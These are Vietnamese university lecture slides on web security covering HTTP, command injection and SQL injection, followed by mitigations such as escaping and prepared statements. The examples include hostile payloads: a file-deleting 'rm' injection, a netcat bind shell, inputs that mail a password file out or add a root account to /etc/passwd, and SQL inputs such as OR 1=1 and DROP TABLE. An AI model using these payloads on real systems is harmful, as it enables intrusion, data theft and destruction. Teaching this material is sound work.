Xem mẫu
- BÀI 6.
AN TOÀN DỊCH VỤ WEB
SQL INJECTION
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
1
Nội dung
• Tổng quan về hoạt động của dịch vụ Web
• Tấn công dạng Command Injection
• SQL Injection
• XSS
• CSRF
• Quản lý phiên
2
CuuDuongThanCong.com https://fb.com/tailieudientucntt 1
- 1. TỔNG QUAN VỀ DỊCH VỤ WEB
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
3
World Wide Web
• Ra đời năm 1990
• Hệ thống các siêu văn bản trình bày bằng ngôn ngữ
HTML được liên kết với nhau
• Cho phép truy cập đến nhiều dạng tài nguyên thông tin
khác nhau (văn bản, hình ảnh, âm thanh, video...) qua
URL (Uniform Resource Location) và URI (Uniform
Resource Identifier)
• Đang được điều hành bởi W3C
• Các công nghệ liên quan: CSS, XML, JavaScrips, Adobe
Flash, Silverlight...
• Hiện tại đã trở thành nền tảng (Web-based service)
4
CuuDuongThanCong.com https://fb.com/tailieudientucntt 2
- Giao thức HTTP
• Sử dụng TCP, cổng 80 Web clients
• Trao đổi thông điệp HTTP
(giao thức ứng dụng)
IE
HTTP Request Web
HTTP Response server
Firefox
Navigator
5
Thông điệp HTTP Request
• Mã ASCII (dễ dàng đọc được dưới dạng văn bản)
request line
(GET, POST, GET /dccn/index.html HTTP/1.1
HEAD commands) Host: www.it-hut.edu.vn
User-agent: Mozilla/4.0
header Connection: close
lines Accept-language:en-us
CR, LF
(extra carriage return, line feed)
indicates end
of message
6
CuuDuongThanCong.com https://fb.com/tailieudientucntt 3
- Thông điệp HTTP Response
status line
(protocol
status code HTTP/1.1 200 OK
status phrase) Connection close
Date: Tue, 16 Mar 2008 12:00:15 GMT
Server: Apache/1.3.0 (Unix)
header
Last-Modified: Mon, 15 Mar 2008 …...
lines
Content-Length: 8990
Content-Type: text/html
data, e.g., data data data data data ...
requested
HTML file
7
Tương tác với web server
• Địa chỉ URL
http://coolsite.com/tools/info.html
Giao thức Tên miền(sẽ được phân
giải thành địa chỉ IP)
Đường dẫn tới tài nguyên (nội
dung tĩnh, thường là file HTML)
8
CuuDuongThanCong.com https://fb.com/tailieudientucntt 4
- Tương tác với web server (tiếp)
• Tương tác với các kịch bản được thực thi trên server
(servlet)
http://coolsite.com/tools/doit.php?cmd=play&vol=44
Đường dẫn tới servlet, cho phép Các tham số cho quá
server sinh nội dung trang web tùy trình sinh nội dung
thuộc các tham số:
CGI: Common Gateway Interface
PHP, JSP, ASP: ngôn ngữ kịch bản
(scrips)
9
Kiến trúc chung của các dịch vụ web
subdomain.mysite.com/folder/page?id=5
HTML Page, JS file, CSS file, image, etc.
run code
Database Queries
Người dùng có thể
tương tác với các tài
nguyên khác thông
qua dịch vụ web
10
CuuDuongThanCong.com https://fb.com/tailieudientucntt 5
- Các nguy cơ đối với dịch vụ web
• Tấn công server từ phía client
Tấn công dạng Injection
File System Traversal
Broken Access Control
11
Các nguy cơ đối với dịch vụ web
• Tấn công từ phía server:
Clickjacking
HistoryProbing
Phishing
12
CuuDuongThanCong.com https://fb.com/tailieudientucntt 6
- Các nguy cơ đối với dịch vụ web
• Tấn công người dùng khác:
XSS
CSRF
Remote Script Inclusion
13
Top 15 lỗ hổng(2015 White Hat Security)
80 70
70
60 56
50 47
40
29 26
30 24
20 16 15
11 8
10 6 6 6 5
0
14
CuuDuongThanCong.com https://fb.com/tailieudientucntt 7
- 2013 OWASP Top10 Project
Mã Tên Mô tả
A-1 Injection Cho phép chèn dữ liệu ác tính vào câu lệnh hoặc
truy vấn
A-2 Authentication Đánh cắp mật khẩu, khóa, thẻ phiên, hoặc khai
and Session thác lỗ hổng để giả mạo người dùng
Management
A-3 XSS Ứng dụng Web không kiểm tra mã thực thi nhúng
vào dữ liệu nhận được và gửi lại mã thực thi này
cho trình duyệt
… Các lỗ hổng xuất Để lộ file, thư mục chứa thông tin cấu hình quan
hiện trong quá trọng, phân quyền truy cập không hợp lý…
trình triển khai
A-8 CSRF Trình duyệt của nạn nhân gửi thông điệp HTTP
Request một cách ngoài ý muốn khi nạn nhân
đang ở trạng thái đăng nhập
15
2. TẤN CÔNG DẠNG COMMAND
INJECTION
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
16
CuuDuongThanCong.com https://fb.com/tailieudientucntt 8
- Command Injection
• Lợi dụng lỗ hổng không kiểm soát giá trị các đối số khi
thực thi kịch bản (servlet) trên web server
Không phân biệt các ký hiệu điều khiển (ký hiệu phép toán, dấu ; “
‘...) trong giá trị của đối số và trong câu lệnh
• Ví dụ: Website chứa servlet cung cấp tính năng tính toán
biểu thức bất kỳ qua hàm eval()
…
http://site.com/calc.php
$in = $_GET[‘exp'];
Nội dung biểu thức được truyền eval('$ans = ' . $in . ';');
qua đối số exp. Ví dụ: …
http://site.com/calc.php?exp=1+1
• Servlet thực thi như thế nào nếu truyền đối số như sau:
http://site.com/calc.php?exp=“10 ; system(‘rm *.*’)”
17
Command Injection – Ví dụ khác
1. http://site.com/exec/
Client Server
2. Send page
Ping for FREE
Enter an IP address below: Ô nhập dữ
liệu
- Command Injection – Ví dụ khác
Client Server
Send output
…
$t = $_REQUEST[‘ip'];
$o = shell_exec(‘ping –C 3’ . $t);
echo $o
…
Ping for FREE PHP exec program
Enter an IP address below:
- Command Injection – Ví dụ khác
127.0.0.1;ls
Client Server
2. Send page
…
$t = $_REQUEST[‘ip'];
$o = shell_exec(‘ping –C 3’ . $t);
echo $o
…
PHP exec program
21
Command Injection – Ví dụ khác
• Thực thi shell
ip=127.0.0.1+%26+netcat+-v+-
e+'/bin/bash'+-l+-p+31337&submit=submit
netcat –v –e ‘/bin/bash’ –l –p 31337
22
CuuDuongThanCong.com https://fb.com/tailieudientucntt 11
- Command Injection – Ví dụ khác
• Mã PHP để gửi email:
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp/joinmynetwork”)
• Chèn mã thực thi khi truyền giá trị cho đối số:
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net &
subject=foo < /usr/passwd; ls
• Hoặc
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
23
Phòng chống
• Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ
Ký tự nào là hợp lệ?Phụ thuộc ngữ cảnh
• Sử dụng dấu ‘\’ đặt trước các ký tự đặc biệt
Nếu kẻ tấn công chèn trước ký tự ‘\’ ?
• Bỏ qua các ký tự đặc biệt
Nếu kẻ tấn công dùng mã ASCII?
Luôn có cách vượt qua kiểm tra
• Cách tốt hơn: không sử dụng các hàm có quá nhiều
quyền thực thi.
Không hiệu quả với SQL Injection
24
CuuDuongThanCong.com https://fb.com/tailieudientucntt 12
- SQL Injection
• Mục tiêu: các website sử dụng CSDL ở back-end
• Lỗ hổng SQL Injection: không kiểm soát giá trị đối số
truyền cho các servlet khi thực hiện các truy vấn CSDL
Web server không phân biệt được các ký tự là của câu truy vấn
hay của giá trị truyền cho đối số
• Mục đích: sửa đổi hoặc chèn truy vấn con vào các truy
vấn thông thường để đọc trái phép hoặc thay thế thông
tin trên trang web
• Lỗ hổng phổ biến nhất trên các website
25
Kịch bản tấn công SQL Injection
Victim Server
1
2
Thực hiện
3 Trả lại dữ liệu nằm câu truy
Attacker ngoài dự kiến vấn nằm
ngoài dự
kiến
Victim SQL DB
26
CuuDuongThanCong.com https://fb.com/tailieudientucntt 13
- SQL Injection – Ví dụ
• Xem xét đoạn mã PHP sau:
$user = $_POST[‘recipient’];
$sql = "SELECT AcctNum FROM Customer WHERE
Balance < 100 AND Username='$recipient'";
$rs = $db->executeQuery($sql);
• Giả sử đối số được truyền như sau “?recipient=Bob” câu
truy vấn được web server chuyển cho DBMS để thực thi
như sau:
SELECT AcctNum FROM Customer WHERE Balance < 100
AND Username=‘Bob’
• Kết quả nào được trả về với truy vấn sau:
SELECT AcctNum FROM Customer WHERE True
27
Phân tích truy vấn trên cây cú pháp
SELECT / FROM / WHERE
AcctNum Customer AND
< =
Balance 100 Username 'Bob'
Kết quả truy vấn: Số tài khoản của tất cả khách hàng có
số dư dưới 100$ và tên khách hàng là Bob
28
CuuDuongThanCong.com https://fb.com/tailieudientucntt 14
- SQL Injection – Ví dụ (tiếp)
• Xem xét đoạn mã PHP sau:
$recipient = $_GET[‘recipient’];
$sql = "SELECT AcctNum FROM Customer WHERE
Balance < 100 AND Username='$recipient'";
$rs = $db->executeQuery($sql);
• Điều gì xảy ra nếu đối số được truyền giá trị làm thay đổi
ý nghĩa của câu truy vấn
Ví dụ truyền vào một giá trị đặc biệt ‘recipient’ để đọc toàn bộ
danh sách khách hàng
29
SQL Injection – Ví dụ (tiếp)
• Truyền đối số như sau:
?recipient=anyone’ OR 1 = 1;#
• Câu truy vấn được thực thi:
SELECT AcctNum FROM Customer WHERE Balance < 100
AND Username=‘anyone’ OR 1 = 1;#’ Dấu # báo hiệu đoạn
chú thích bỏ qua
• Biểu thức điều kiện trở thành
WHERE Balance < 100 AND Username=‘anyone’ OR 1 = 1
luôn trả về giá trị TRUE
30
CuuDuongThanCong.com https://fb.com/tailieudientucntt 15
- Cây cú pháp
SELECT / FROM / WHERE
AcctNum Customer OR
AND =
< = 1 1
Balance 100 Username ‘anyone’
31
Một số kỹ thuật khai thác SQLi
• Mệnh đề ORDER BY sắp xếp kết quả theo một cột nào
đó được liệt kê trong mệnh đề SELECT
• Sử dụng mệnh đề ORDER BY cho phép đoán số cột
được liệt kê trong truy vấn
Nếu STT của cột ≤ số cột liệt kê trong truy vấn: thực hiện thành
công
Ngược lại trả về thông báo lỗi
Thông báo lỗi có thể để lộ thông tin về CSDL!!!
32
CuuDuongThanCong.com https://fb.com/tailieudientucntt 16
- Một số kỹ thuật khai thác SQLi(tiếp)
• Mệnh đề UNION cho phép gộp kết quả của các truy vấn
• Yêu cầu: các mệnh đề SELECT phải có cùng số cột, cùng
kiểu dữ liệu (hoặc có thể chuyển đổi nếu kiểu dữ liệu
khác nhau)
• Dùng mệnh đề UNION cho phép:
Xác định số cột trong mệnh đề SELECT
Kiểm tra kiểu dữ liệu
Thực hiện một truy vấn tới bảng khác: trích xuất dữ liệu, đoán tên
bảng, đoán tên cột
Thông báo lỗi có thể để lộ thông tin về CSDL!!!
33
Một số kỹ thuật khai thác SQLi(tiếp)
• Sử dụng Batched Query (còn được gọi là query stack)
• Lợi dụng khả năng hỗ trợ thực thi nhiều câu truy vấn cùng
lúc của một số ngôn ngữ và hệ quản trị CSDL
Support ASP ASP.NET PHP
MySQL No Yes No
PostgreSQL Yes Yes Yes
MS SQL Yes Yes Yes
Lưu ý: Ngay cả khi ngôn ngữ và hệ quản trị CSDL
không hỗ trợ, vẫn có thể khai thác bằng mệnh đề
UNION
34
CuuDuongThanCong.com https://fb.com/tailieudientucntt 17
- Batched Query – Ví dụ
• Truyền đối số như sau:
?recipient=anyone’; DROP TABLE Customer --
• Câu truy vấn được thực thi:
SELECT AcctNum FROM Customer WHERE Balance < 100
AND Username=‘anyone’; DROP TABLE Customer --’
Chèn câu lệnh SQL khác để
can thiệp sửa đổi CSDL
Thậm chí có thể chèn vào một đoạn mã thực thi
kịch bản hệ thống (shell code)
35
Blind SQL Injection
• Trong một số trường hợp, hệ thống không trả lại thông
báo lỗi khi thực thi câu lệnh SQL
• Để khai thác các lỗi dạng này, có thể sử dụng 2 kỹ thuật:
Boolean based Blind SQLi: sử dụng các câu truy vấn trả về
True/False
Time-based Blind SQLi: kiểm tra thời gian thực thi câu truy vấn
• Cần mất nhiều thời gian để khai thác lỗi Blind SQLi
thường sử dụng các công cụ hỗ trợ (Ví dụ: sqlmap)
36
CuuDuongThanCong.com https://fb.com/tailieudientucntt 18
- Blind SQL Injection
• Ví dụ 1: Boolean-based Blind SQLi
Để tìm thông tin phiên bản của CSDL, chèn lời gọi hàm
vào câu truy vấn:
and substring(version(),i,1)=c;#
Thay i là vị trí ký tự cần kiểm tra, c là giá trị cần so sánh
• Time-based Blind SQLi
MySQL: sleep(), benchmark()
MS SQL: waitfor delay
37
Phòng chống SQL Injection
• Thêm ký tự ‘\’ vào trước dấu nháy ‘...’ hoặc “...”
• PHP: addslashes( “ ’ or 1 = 1 -- ”)
Đầu ra: “ \’ or 1=1 -- ”
Hạn chế: tấn công dựa vào mã Unicode của một số ký tự
đặc biệt
0x 5c $user = 0x bf 27
addslashes($user) 0x bf 27 ¿′
Đầu ra: 0x bf 5c 27 ′ 0x bf 5c
• Hàm tốt hơn: mysql_real_escape_string()
38
CuuDuongThanCong.com https://fb.com/tailieudientucntt 19
- Phòng chống SQL Injection
• Hầu hết các ngôn ngữ lập trình, DBMS hỗ trợ kiểm soát
các tham số trong câu truy vấn không hiểu lầm giá trị
tham số và mã thực thi.
• Ví dụ: PHP và MySQL
$dbh = new mysqli(…);
$stmt = $dbh->prepare(“SELECT AcctNum FROM Customer WHERE
Balance < 100 AND Username= ?”);
$recipient = $_GET[‘recipient’];
$stmt->bind_param(“s”, $recipient);
$stmt->execute(); s: tham số kiểu xâu ký tự
i: tham số kiểu số nguyên
• Sử dụng ORM framework d: tham số kiểu số thực
39
Cây cú pháp truy vấn SQL
SELECT / FROM / WHERE
AcctNum Customer AND
< =
Balance 100 Username ?
40
CuuDuongThanCong.com https://fb.com/tailieudientucntt 20
nguon tai.lieu . vn